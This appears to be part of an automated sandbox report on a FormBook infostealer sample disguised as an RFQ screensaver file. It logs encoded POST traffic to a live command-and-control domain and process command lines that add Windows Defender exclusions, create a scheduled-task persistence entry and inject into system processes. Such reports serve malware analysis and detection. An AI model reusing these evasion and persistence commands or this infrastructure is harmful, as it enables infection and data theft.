Dec 12, 2024 10:23:42.502367020 CET	285	OUT	Data Raw: 2f 2b 5a 4d 62 76 75 71 66 30 31 41 50 4a 36 48 45 43 46 64 37 4b 72 4a 4b 56 34 65 67 75 53 37 46 46 65 30 2b 4c 70 57 70 4e 6e 71 67 4a 78 72 32 67 63 45 75 68 36 38 61 71 36 4e 76 5a 4a 61 65 70 2b 4e 4d 32 58 44 56 5a 32 37 32 42 64 41 4a 67 Data Ascii: /+ZMbvuqf01APJ6HECFd7KrJKV4eguS7FFe0+LpWpNnqgJxr2gcEuh68aq6NvZJaep+NM2XDVZ272BdAJgaMyuVX7Q61827laYVDNz/dvV8h1+OckutCRpJHLUYYpRDFDJxxXgrUL0peIVqhlDOz11V3ucgpfehldVKRO41i1JZjOYBlperIiNev0FZUhne+dX5FTyX843Epj8Hq6e1zT6fdMuLG3qD/cxCA9mzXgPjdCKAkzHF
Dec 12, 2024 10:23:43.603740931 CET	959	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:23:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SiFVU4h0fkkU8Pefzot4px3xPyk0Mp7u6Q2EojwrvNTgIo3223LnSwzYfZI3f1EnvaipqjCnUVci%2FP7WTODlFrLX3FnXqePhaIaP6IIljAaBt49elFE2mjYIL64W%2FWAA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca843aeda4269-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2322&min_rtt=2322&rtt_var=1161&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=2757&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$
Dec 12, 2024 10:23:43.603996038 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.22	49212	172.67.145.234	80

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:45.458267927 CET	796	OUT	POST /ge5i/ HTTP/1.1 Host: www.vayui.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.vayui.top Referer: http://www.vayui.top/ge5i/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 75 4e 38 55 45 2f 47 2b 45 4c 69 44 4f 5a 65 47 78 7a 45 78 6a 33 74 75 61 79 4b 42 53 65 6e 77 50 6a 31 4c 78 57 2f 36 75 48 2b 45 6f 4a 32 2f 75 68 39 79 63 6f 54 52 63 32 38 33 61 4a 32 71 66 77 69 53 2f 54 6e 6a 6e 62 73 70 6f 55 6f 58 4d 69 47 49 67 78 4e 33 76 58 71 56 6a 41 66 6c 55 32 51 4e 33 4c 46 4a 33 57 48 49 51 59 74 37 46 67 42 38 37 48 42 48 53 67 34 6d 36 64 73 6b 44 4a 67 57 52 50 41 67 6e 71 4b 61 46 38 78 57 2b 69 34 33 73 4a 57 6b 71 2f 56 32 2f 64 76 67 36 70 58 49 55 41 57 64 6e 34 57 50 6e 55 70 4d 4f 57 79 5a 6f 72 4a 73 6f 59 38 4e 4f 59 69 76 70 51 3d 3d Data Ascii: x4=uN8UE/G+ELiDOZeGxzExj3tuayKBSenwPj1LxW/6uH+EoJ2/uh9ycoTRc283aJ2qfwiS/TnjnbspoUoXMiGIgxN3vXqVjAflU2QN3LFJ3WHIQYt7FgB87HBHSg4m6dskDJgWRPAgnqKaF8xW+i43sJWkq/V2/dvg6pXIUAWdn4WPnUpMOWyZorJsoY8NOYivpQ==
Dec 12, 2024 10:23:46.671324015 CET	961	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:23:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LSwgAPS8SaycOJ1sORdTduPG3AcX16aUGES9tKRy2V9o0ptbx5UcojZr7ZVbAoEOl9njSD%2B8FpeYx4T3hU7y18QF32GKkSrA9RkhcXzf6dEaPJkykgmK8Qn1r1I9kYfk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca856dc487ce2-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2031&min_rtt=2031&rtt_var=1015&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=796&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.22	49213	172.67.145.234	80

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:48.118287086 CET	2472	OUT	POST /ge5i/ HTTP/1.1 Host: www.vayui.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.vayui.top Referer: http://www.vayui.top/ge5i/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 75 4e 38 55 45 2f 47 2b 45 4c 69 44 49 35 4f 47 79 53 45 78 32 48 74 74 55 53 4b 42 59 2b 6d 35 50 6a 70 4c 78 58 4b 68 75 54 61 45 70 59 36 2f 76 48 68 79 61 6f 54 52 61 32 38 73 55 70 33 68 66 77 32 34 2f 51 7a 5a 6e 65 38 70 70 7a 4d 58 4b 67 2b 4a 34 78 4e 31 72 58 71 57 6a 41 66 38 55 32 68 47 33 4c 42 76 33 58 76 49 54 71 56 37 4d 77 42 7a 78 6e 42 48 53 67 34 79 36 64 73 49 44 4e 30 4f 52 4f 6f 77 6e 63 6d 61 4c 34 39 57 35 42 51 30 38 35 57 67 6b 66 55 48 33 64 4b 38 7a 35 6a 39 5a 51 4f 4f 69 4d 57 72 71 54 5a 41 4f 30 37 59 2b 35 41 42 67 4d 67 63 43 37 37 33 2b 4e 56 6f 62 57 7a 59 31 54 31 53 47 75 54 6a 57 39 44 44 48 6f 4b 57 36 46 7a 6f 4d 2b 4c 36 53 77 4b 6d 43 45 75 6d 6c 4a 67 4e 2f 35 53 2b 43 41 73 4d 37 59 52 4c 58 30 44 33 49 70 36 37 65 49 4a 34 78 31 58 32 43 4b 39 6f 64 6d 55 41 5a 31 72 6d 62 4b 71 45 71 6d 72 71 78 43 58 6e 71 72 4e 6f 71 2b 2f 58 64 5a 6d 5a 6f 6d 51 4f 4d 78 45 72 6c 36 46 4d 7a 30 66 57 77 2f 2b 73 38 30 62 4d 4d 76 36 38 67 68 48 33 55 6c 71 [TRUNCATED] Data Ascii: x4=uN8UE/G+ELiDI5OGySEx2HttUSKBY+m5PjpLxXKhuTaEpY6/vHhyaoTRa28sUp3hfw24/QzZne8ppzMXKg+J4xN1rXqWjAf8U2hG3LBv3XvITqV7MwBzxnBHSg4y6dsIDN0OROowncmaL49W5BQ085WgkfUH3dK8z5j9ZQOOiMWrqTZAO07Y+5ABgMgcC773+NVobWzY1T1SGuTjW9DDHoKW6FzoM+L6SwKmCEumlJgN/5S+CAsM7YRLX0D3Ip67eIJ4x1X2CK9odmUAZ1rmbKqEqmrqxCXnqrNoq+/XdZmZomQOMxErl6FMz0fWw/+s80bMMv68ghH3Ulq+JEkfwPmaUeJqFH/fHOwyEgJBtVkp878F9afYH7cXfNhgJrU1XTwVfLxbA1TrzoOZl+YRthu71R+V0Lrz5nlc9+i1AX9oFfJX3QFy56gp2T1nPdd1BXg+03xR9+pfNWnJFoGLOPsF83TJSArDZQs3J/q0akjRAz29pISaeGNAyccnFU8mWIRVUYtYYCQYqxKm8URI4Z6QQ2+bHx0iAc3uXbdRNlEv8K0nlTju64rs7VZgtkQ133HYMC3i6MXz8T6Xhr7jR5LfUaQmiHF1i1lWXw0ocebrMAgyYVz8bimAqVubxLF8Mml/eSTrnekNFblPKLBqFlmSNk72P6EsXd9aVPB2Xk+wCUVTgEv3+7l2SSsDnj3FWVe3VDTUmbObLi+OKahocbeqsGppBP88gPnSWhMhPK7GPuT6x0gdq9nSS+wDDMq6UyiosgA/I+ECENyp6sqD78bkEocUc3SLqxEsoYPv5FiEEebboEv3VhfHcDYsstMPxUQbi9D6FfsjVYK/3wDJ4Dl4BuQd6GVTZMgViB3+emrRHxTEVGMT1kGia6cacom9tD6aGH0DQ0S4gDyuTdCmJ2nd/nxWS1MvWwRsnTtw28ny0JH9Ebc5hMSAW+oUMiH7uz+RyJlCSbc8rrgylBcaBPvwtiz+hL8lQI2CJwKxHt5KwyVBj [TRUNCATED]
Dec 12, 2024 10:23:48.237741947 CET	1749	OUT	Data Raw: 2f 2b 2b 67 62 75 4f 71 63 35 56 41 53 4a 36 48 53 43 42 78 4e 4b 71 56 38 56 35 75 67 73 7a 62 46 4c 4e 63 2b 58 70 57 72 4e 6e 71 63 55 42 58 39 67 63 46 52 68 2b 38 61 71 36 64 76 5a 4f 6d 65 6f 4f 4e 50 72 58 44 51 65 32 37 78 4b 39 42 4b 67 Data Ascii: /++gbuOqc5VASJ6HSCBxNKqV8V5ugszbFLNc+XpWrNnqcUBX9gcFRh+8aq6dvZOmeoONPrXDQe27xK9BKgaNDuU7RQ4582ptaJkDNzvdTfchm6OhjutOdpNDbVtUpR1JDDjpXkLUw3peJVqsCDODT1UG7cVRfcRldRIJPzVizfJjPYBlFerwuNfCxFYchnbSdWJFU7H9zyEp58HmTe1rt6Z9MuK637TPchyA9vTXlGDccXQ4wHG
Dec 12, 2024 10:23:49.334330082 CET	968	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:23:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4gG60QB2uE%2BTi7h7ygzN2wL0kEKf80yQ2CHDyamVOVtC0m7SKsJzqznpr9MXugXfny%2FuKle6Q0yboNKAFIfb1NCUoHM0wuCU2VAiSpMlAd%2BfV%2BE4ZMN8QNjPZ07ha8Ym"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca867883a5e80-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2055&min_rtt=2055&rtt_var=1027&sent=3&recv=6&lost=0&retrans=0&sent_bytes=0&recv_bytes=4221&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.22	49214	172.67.145.234	80

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:50.767215014 CET	538	OUT	GET /ge5i/?x4=jPU0HPuwZISEZ5CnqmUb1HxQcmHsEJWSHx9v/3j//xH9iOmom18fULHPXhZRerzvXxOw9xjpncAMgCVYCBSLizB0ok2+/BrdQFUexat22mesfNVGJAdc0xNIeHt8&e2E=wRQ8oHXx HTTP/1.1 Host: www.vayui.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:23:51.985297918 CET	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 12 Dec 2024 09:23:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kZ5J7MLtGi6nVmwyiMeJvh6yBddV2nShL4yljVGYh9FTAStbNL4YKeTdwO66%2FN2EzvovszjHDDLlYdIAfKECZsUyxklYrAE5oSBjmfDPGhbsfhryAuhZTFt3pglVxSEm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca8781d168c72-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1924&min_rtt=1924&rtt_var=962&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=538&delivery_rate=0&cwnd=172&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED] Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error pa
Dec 12, 2024 10:23:51.985342026 CET	82	IN	Data Raw: 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: ge -->... a padding to disable MSIE and Chrome friendly error page -->0

Target ID:	0
Start time:	04:19:38
Start date:	12/12/2024
Path:	C:\Users\user\Desktop\RFQ_P.O.1212024.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\RFQ_P.O.1212024.scr" /S
Imagebase:	0x13d0000
File size:	878'088 bytes
MD5 hash:	BC03B7D0CC3FAA356F5C49609D150B44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	04:19:44
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_P.O.1212024.scr"
Imagebase:	0xd10000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	04:19:45
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"
Imagebase:	0xd10000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	04:19:45
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PEJmengI" /XML "C:\Users\user\AppData\Local\Temp\tmp61C0.tmp"
Imagebase:	0x700000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	04:19:46
Start date:	12/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x11b0000
File size:	45'248 bytes
MD5 hash:	19855C0DC5BEC9FDF925307C57F9F5FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.396612978.00000000001B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.396870614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.398641756.00000000025C0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Target ID:	9
Start time:	04:19:46
Start date:	12/12/2024
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {5B36C18D-91BD-4673-848D-E2536B74881F} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xff6a0000
File size:	464'384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	04:19:48
Start date:	12/12/2024
Path:	C:\Users\user\AppData\Roaming\PEJmengI.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\PEJmengI.exe
Imagebase:	0x1150000
File size:	878'088 bytes
MD5 hash:	BC03B7D0CC3FAA356F5C49609D150B44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Target ID:	11
Start time:	04:19:53
Start date:	12/12/2024
Path:	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe"
Imagebase:	0xce0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.873782625.0000000003E40000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	04:19:55
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\msinfo32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msinfo32.exe"
Imagebase:	0xc0000
File size:	303'104 bytes
MD5 hash:	5F2122888583347C9B81724CF169EFC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.873456007.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.873508536.0000000000360000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000C.00000002.873699119.0000000001D20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Target ID:	13
Start time:	04:19:58
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"
Imagebase:	0x320000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	15
Start time:	04:19:58
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"
Imagebase:	0x320000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	17
Start time:	04:19:58
Start date:	12/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PEJmengI" /XML "C:\Users\user\AppData\Local\Temp\tmp958C.tmp"
Imagebase:	0xc30000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	04:20:02
Start date:	12/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0x11b0000
File size:	45'248 bytes
MD5 hash:	19855C0DC5BEC9FDF925307C57F9F5FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	20
Start time:	04:20:07
Start date:	12/12/2024
Path:	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe"
Imagebase:	0xce0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000014.00000002.873703699.0000000000900000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Has exited:	false

Target ID:	23
Start time:	04:20:25
Start date:	12/12/2024
Path:	C:\Program Files (x86)\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"
Imagebase:	0x13a0000
File size:	517'064 bytes
MD5 hash:	C2D924CE9EA2EE3E7B7E6A7C476619CA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000017.00000002.461322824.0000000000170000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Has exited:	true